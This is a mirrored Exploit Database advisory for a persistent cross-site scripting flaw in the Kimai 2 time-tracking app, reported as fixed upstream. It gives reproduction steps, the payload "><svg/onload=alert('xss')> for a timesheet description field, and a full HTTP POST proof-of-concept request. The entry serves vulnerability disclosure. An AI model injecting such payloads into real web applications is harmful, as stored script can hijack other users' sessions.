Kimai 2 – Persistent Cross-Site Scripting

• Exploit Database
• 16 阅读

• 作者： osamaalaa
  日期： 2019-08-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47286/

• # Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
  # Date: 07/15/2019
  # Exploit Author: osamaalaa
  # Vendor Homepage: [link]
  # Software Link: https://github.com/kevinpapst/kimai2
  # Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
  # Version: 2
  
  1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create
  
  2-Add this payload "><svg/onload=alert('xss')> in the description
  
  3-Save The changes
  
  4-refresh and we have alert pop up!
  
  The Request POC :
  
  POST /index.php/en/timesheet/create HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 392
  Connection: close
  Referer: http://localhost
  Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv
  
  timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-08-18 00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesheet_edit_form[activity]=27&timesheet_edit_form[description]= "><svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0